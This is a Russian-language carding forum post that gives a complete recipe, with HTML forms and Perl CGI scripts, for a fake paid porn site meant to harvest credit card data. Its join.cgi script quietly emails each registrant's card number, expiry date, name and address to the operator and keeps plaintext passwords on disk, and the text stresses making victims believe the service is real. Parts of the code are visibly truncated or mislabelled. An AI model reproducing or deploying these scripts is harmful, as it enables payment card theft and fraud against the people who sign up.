Скрипт для кардера

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
394
Points
83
Существует несколько основных путей по добыче номеров кредиток. Взлом онлайнового магазина/банка, уже морально устаревшие генераторы и экстраполяторы, трэйдинг карточками между кул-хацкерами и создание собственного онлайн магазина, торгующего чем-либо по кредам. Сейчас уделим чуточку внимания последнему варианту.

Ясен перец, что продавать утюги, телевизоры, холодильники и вибраторы мы не будем. Есть куда более актуальные вещи, такие как ПОРНУХА. Коей торгует немерено народа и подымает на этом бабло. Быть может подрубить реальные $ не получится... но перехват инфы по кредиткам гарантирован. В путь.

Для создания сайта, торгующего порнухой, требуется лишь немного мозгов (совсем немного :), фантазии и, конечно, руки, которые должны быть спокойны, так как на протяжении создания сайта нужно собрать множество картинок пикантного содержания ;). Если уже есть полвинта порнухи, тогда - no problems. Если неизвестно с чего начать, то можно зайти на сайт http://www.nature.bodhi.ru. После сбора информации нужно отыскать место надежного хостинга. Это очень важно, а то закроют сайт за неприличную информацию.

Хе-хе, приступим.

Главное требование к сайту - поддержка CGI, а точнее Perl. Если таковой ни имеется, то можно забить на эту статью и найти другое пристанище для своей службы. Теперь поговорим о самом способе получения кредитных карточек. Это будет платный порносайт, и всякие озабоченные люди будут на нем регистрироваться. От них-то и будет приходить информация о кредитных карточках в почтовый ящик. Все процессы регистрации должны быть такими, чтобы пользователь не догадался, что это служба липовая. Процесс регистрации, в моем случае, был сделан довольно прилично, так что простой юзверь не догадается. Служба ведет лог каждого пользователя. Если пользователь долго бездействует (длительное время не смотрит порнокартинки), то ему надо будет заново логиниться. Когда пользователь просидит свое оплаченное время, то он выкидывается из этой службы.

Вроде все культурно, но есть один БАГ - нельзя сделать запрос в банк о том, существует ли вводимый пользователем номер кредитной карточки или нет; программа сможет проверить только правильность номера креды, то есть службу можно обойти простым генератором кредитных карточек :(. Но держатели карточек бывают глупые (довольно часто :), поэтому кредитки будут нормальными.

Представим, был получен сайт (всеми правдами и неправдами :) с адресом http://www.megaporno.com. Создана директория cgi-bin, где лежат все скрипты. Это четыре скрипта: join.cgi, login.cgi, show.cgi, func.pl. В этой же директории создаются еще четыре каталога: s-zone, user, status, ip. В s-zone должны находиться все картинки (порно), доступа к этой директории ни у кого не должно быть, как и у остальных трех. В user будут храниться данные о пользователе. Текущее состояние пользователя (сколько ему осталось жить :) записывается в директории status. В ip находится соответствие ip адресов именам пользователей. Вообще, об этих каталогах лучше не париться: просто создали их, остальное сделали скрипты.

Создан файл index.htm в корневом каталоге, где должны быть ссылки на скрипт join.cgi (/cgi-bin/join.cgi) и login.cgi (/cgi-bin/login.cgi). Скрипт join.cgi отвечает за регистрацию пользователя, а login.cgi - за аутентификацию. Для файла join.cgi потребуется два файла join.dat и joined.dat. Первый файл - форма при регистрации, второй - после регистрации.

/ Файл join.dat /

Code:
<html><body>

!warning!

<form action="join.cgi" method="post">

<input type="HIDDEN" name="step" value="2">

Credit Card Type:

<input type="RADIO" name="type" value="VS" checked>Visa

<input type="RADIO" name="type" value="MC">MasterCard

<input type="RADIO" name="type" value="AX">American Express

<br>Cardholder Name:

<input type="TEXT" name="name"><br>

Login:

<input type="TEXT" name="login"><br>

Password:

<input type="PASSWORD" name="password"><br>

Retype Password:

<input type="PASSWORD" name="rpassword"><br>

E-mail:

<input type="TEXT" name="mail"><br>

Country:

<input type="TEXT" name="country"><br>

Address:

<input type="TEXT" name="address"><br>

Credit Card number:

<input type="TEXT" name="ccard"><br>

Expiration Date:

<input type="TEXT" name="month" size=2>

<input type="TEXT" name="year" size=4><br><br>

Mount:

<select name="mount">

<option value="30" selected>30$ - month

<option value="3">3$ - 3 days

</select><br>

<input type="SUBMIT" name="but" value="Submit">

</form></center>

</td></tr></table></body>

</html>

/ Файл joined.dat /

Code:
<html>

<head>

<title>Congratulations!</title>

</head>

<body>

<center>

<table border=2 width=600 cellpadding=4>

<tr><td>

<b>You have joined to our server!</b><br><br>

Your login: !login!<br>

Your password: !password!<br><br>

<a href="login.cgi">Click here</a> to start<br>

</td></tr>

</table>

</body>

</html>
Эти файлы немножко урезаны, более полные можно будет скачать (адрес в конце статьи). Для файла login.cgi необходим login.dat:

Code:
<html><head><title>Welcome!</title></head><body>

<center>

<table border=2 width=600 cellpadding=4><tr><td>

<center><b>Please, enter your login and password!</b></center>

<br>

<form action="login.cgi" method="post">

<input type="HIDDEN" name="step" value="2">

Login:

<input type="TEXT" name="login"><br>

Password:

<input type="PASSWORD" name="password"><br>

<input type="SUBMIT" name="submit" value="Login"><br>

</td></tr></table>

</body></html>

Как все происходит.

Вначале пользователь попадает на главную страницу (index.htm), с нее он переходит к регистрации (/cgi-bin/join.cgi), после этой процедуры ему нужно авторизироваться (/cgi-bin/logun.cgi). Потом юзверь попадает на HTML файл gallery.htm, где используется скрипт show.cgi (/cgi-bin/show.cgi). Эта прога показывает сами картинки; если запрашиваемая графика не существует или запрос сделал левый пользователь, то выводится картинка с ошибкой (/cgi-bin/error.jpg). Формат вызова такой: show.cgi?sex/sex01.jpg. После такого запроса загрузится картинка по адресу /cgi-bin/s-zone/sex/sex01.jpg. Вот примерчик файла gallery.htm:

Code:
<html>

<img src="/cgi-bin/show.cgi?sex/sex01.jpg"><br><br>

<img src="/cgi-bin/show.cgi?sex/sex02.jpg"><br><br>

</html>

А вот как выглядит структура сайта:

Code:
index.htm

gallery.htm

/cgi-bin/join.cgi

/cgi-bin/join.dat

/cgi-bin/joined.dat

/cgi-bin/login.cgi

/cgi-bin/login.dat

/cgi-bin/show.cgi

/cgi-bin/func.pl

/cgi-bin/error.jpg

/cgi-bin/s-zone/

/cgi-bin/user/

/cgi-bin/status/

/cgi-bin/ip/

В скрипте join.cgi находятся две переменные с адресами e-mail'ов, которые следует поменять: $mail - адрес почтового ящика, куда будут приходить новые кредитки, т.е. мыло порно зло-админа, $admin - адрес почтового ящика, откуда будет приходить почта новым пользователям. Например, если у тебя сайт http://www.bestporno.ru, то введи такой e-mail - [email protected] или [email protected].

Остался еще файл func.pl, но о нем можно не думать. Это просто вспомогательный модуль, где находятся некоторые дополнительные процедуры, которые нужны остальным скриптам, там также переменным присваиваются имена используемых каталогов, т.е. в принципе (если сильно приспичит) можно поменять названия всех директорий. А теперь все это можно замутить на своем сайте, закачать, настроить и проверить. Если нормально настроиться, то все хоккей. HTML файлы меняются на свой лад, со своим дизайном. Далее следует кайфундия от поступаемых кред =). И еще: для отправки писем скрипты используют программу sendmail, так что сервак должен быть под *nix. Конечно, если сервак не юниксовый, а виндовый, то можно настроить под другие проги (в IIS сервере можно использовать windmail) или написать скрипт, который соединится с SMTP сервером и отправит сообщение. А вот сами листинги скриптов:

/ Файл join.cgi /

Code:
#!/usr/local/bin/perl

require 'func.pl';

## Переменные\

$file{form}="join.dat";

$file{join}="joined.dat";

$mailprog = '/usr/sbin/sendmail';

$mail='[email protected]';

$admin='[email protected]';

&parse_form;

print "Content-type: text/html\n\n";

if ($FORM{step} eq "2"){

$date=$FORM{month}."/".$FORM{year};

&check_number ($FORM{type},$FORM{ccard},$date);

if (-e "$user_dir$FORM{login}") {

open (DATA, "$status_dir$FORM{login}");

$time{end}=<DATA>; chomp ($time{end});

$time{now}=<DATA>; chomp ($time{now});

if (time()<$time{end}) {$war="This login already exist";}

else {unlink ("$user_dir$FORM{login}"); unlink ("$status_dir$FORM{login}");}

}

if (length($FORM{year})>4) {$war="Invalid year";}

if ((length($FORM{month})>12) || (length($FORM{month})<1)){$war="Invalid month";}

if ((length($FORM{ccard})<12) || (length($FORM{login})>19)){$war="Invalid Card number";}

if (length($FORM{country})<1){$war="Invalid country";}

if (length($FORM{address})<1){$war="Invalid address";}

if (not $FORM{mail}=~/\@/){$war="Invalid e-mail";}

if (length($FORM{password})<1){$war="Invalid password";}

if ($FORM{password} ne $FORM{rpassword}) {$war="Invalid password"}

if ((length($FORM{login})>12) || (length($FORM{login})<1)

|| ($FORM{login}=~/[\/\\.|><]/)){$war="Invalid login";}

if (length($FORM{name})<1){$war="Invalid name";}

if (defined ($war)){

@out=confiles ($file{form});

@out=exchange ("!warning!",$war,@out);

print @out;}

if (not defined ($war)){

open (MAIL, "|$mailprog -t");

print MAIL "Content-Type: text/plain\n";

print MAIL "Subject: Congratulations!\n";

print MAIL "To: $FORM{mail}\n";

print MAIL "From: $admin\n\n";

print MAIL "You have joined to our server!\n";

print MAIL "Your login: ".$FORM{login}."\n";

print MAIL "Your password: ".$FORM{password}."\n";

print MAIL "Thanks for using our server!\n\n";

close (MAIL);

open (MAIL, "|$mailprog -t");

print MAIL "Content-Type: text/plain\n";

print MAIL "Subject: Congratulations!\n";

print MAIL "To: $mail\n";

print MAIL "From: ".$admin."\n\n";

print MAIL "$FORM{type} $FORM{ccard} $date\n";

print MAIL "$FORM{name}\n$FORM{country}\n$FORM{address}\n\n";

close (MAIL);

$FORM{type}=~s/VS/Visa/; $FORM{type}=~s/MC/MasterCard/;

$FORM{type}=~s/AX/American Express/;

open (DATA, ">$user_dir$FORM{login}");

print DATA "$FORM{type}|$FORM{ccard}|$date\n$FORM{password}\n$FORM{mail}\n";

print DATA "$FORM{name}\n$FORM{country}\n$FORM{address}\n";

close (DATA);

$data=(time()+$FORM{mount}*24*3600);

open (DATA, ">$status_dir$FORM{login}");

print DATA "$data\n".time()."\n127.0.0.1\n";

close (DATA);

@out=confiles ($file{join});

@out=exchange ("!login!",$FORM{login},@out);

@out=exchange ("!password!",$FORM{password},@out);

print @out;}}

else {@out=confiles ($file{form});

@out=exchange ("!warning!","",@out);

print @out;}

sub check_number {

my($card_type, $card_num, $exp_date) = @_;

my(%card_length) = ('VS', '13,15,16', 'MC', '16', 'AX', '15');

my($old_card_num, $card_length, $total, $d, $data, @data);

$card_type =~ tr/a-z/A-Z/;

if (!$card_length{$card_type}) {

$war = "$card_type is not a valid card type.";

return(1);}

$old_card_num = $card_num;

$card_num =~ s/\D//g;

$card_length = length($card_num);

if (!($card_length{$card_type} =~ /(^|,)$card_length(,|$)/)) {

$war = "Card number $old_card_num does not have the correct number of digits";

return(2);}

my($month_now) = (localtime)[4];

my($year_now); $month_now++; $exp_date =~ m|(\d+)/(\d+)|;

return(4);} return(0);}

/ Файл login.cgi /

Code:
#!/usr/local/bin/perl

require 'func.pl';

## Переменные

$file{form}="login.dat";

$go="../gallery.htm";

&parse_form;

$FORM{login}=~s /[\/\\.|><]//g;

if ($FORM{step} eq "2"){

if (not -e "$status_dir$FORM{login}") {&loadagain;}

open (PASS, "$user_dir$FORM{login}");

$pass=<PASS>; $pass=<PASS>; chomp ($pass);

close (PASS);

if ($pass ne $FORM{password}) {&loadagain;}

open (DATE, "$status_dir$FORM{login}");

$date=<DATE>; chomp ($date);

close (DATE);

if ($date<time()) {&loadagain;}

open (DATE, ">$status_dir$FORM{login}");

print DATE "$date\n".time()."\n$ENV{'REMOTE_ADDR'}\n";

close (DATE);

open (DATA, ">$ip_dir$ENV{'REMOTE_ADDR'}");

print DATA $FORM{login}; close (DATA);

print "Location: $go\n\n";}

else{&loadagain;}

sub loadagain{

print "Content-type: text/html\n\n";

@out=confiles ($file{form});

print @out; exit;}

/ Файл show.cgi /

#!/usr/local/bin/perl

require 'func.pl';

## Переменные

$time=60*15; # Лимит времени бездействия

$errorpic='error.jpg';

print "Content-type: image/jpeg\n\n";

$dat=$ENV{QUERY_STRING};

$dat=~s/^\///; $dat=~s/\.\.\///g;

$dat=~s/\.\///g; $dat=~s /[\\|><]//g;

if (not -e "$ip_dir$ENV{'REMOTE_ADDR'}"){&error;}

open (DATA, "$ip_dir$ENV{'REMOTE_ADDR'}");

$login=<DATA>; close (DATA);

open (DATA, "$status_dir$login");

$time{end}=<DATA>; chomp ($time{end});

$time{now}=<DATA>; chomp ($time{now});

$ip=<DATA>; chomp ($ip); close (DATA);

if (($ip eq $ENV{'REMOTE_ADDR'}) && (time()<$time{end}) && ((time()-$time{now})<$time)){

if (not -e "$pic_dir$dat"){&error;}

open (AA,">$status_dir$login");

print AA $time{end}."\n"; print AA time()."\n";

print AA $ip."\n";

open (AA,"$pic_dir$dat");

binmode AA; binmode STDOUT;

while ($bytesread = read(AA,$buffer,4096)) {

print $buffer;}}

else{&error;}

sub error{

open (AA,"$errorpic");

binmode AA; binmode STDOUT;

while ($bytesread = read(AA,$buffer,4096)) {

print $buffer;} exit;}

/ Файл show.cgi /

#!/usr/bin/perl

$pic_dir='s-zone/'; $status_dir="status/"; $user_dir="user/"; $ip_dir='ip/';

#############################################

# Процедура для замены данных в массиве

########################################

Code:
sub exchange{

my ($text1,$text2,@text3)=@_; my ($cl);

for ($cl=0; $cl<=$#text3; $cl++){

$text3[$cl]=~ s/$text1/$text2/g;}

return (@text3);}

########################################

# Процедура для склеивания файлов

##################################

sub confiles{

my (@files)=@_; my (@ret,@fil,$cur);

@ret=""; foreach $cur (@files){

open (CUR, "$cur"); @fil=<CUR>; push (@ret,@fil);

close (CUR);}

return (@ret);}

####################################

# Процедура для чтения формы

#############################

sub parse_form{

read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@pairs=split (/&/, $buffer);

foreach $pair (@pairs){

($name,$value) = split (/=/,$pair);

$value=~ tr/+/ /;

$value=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/eg;

$FORM{$name}=$value;

}}

1;

Ну вот вроде и все, что я хотел сказать. Знатоки Perl'а могут сами добавить дополнительные фичи к программам к уже имеющемуся ядру.
 
Top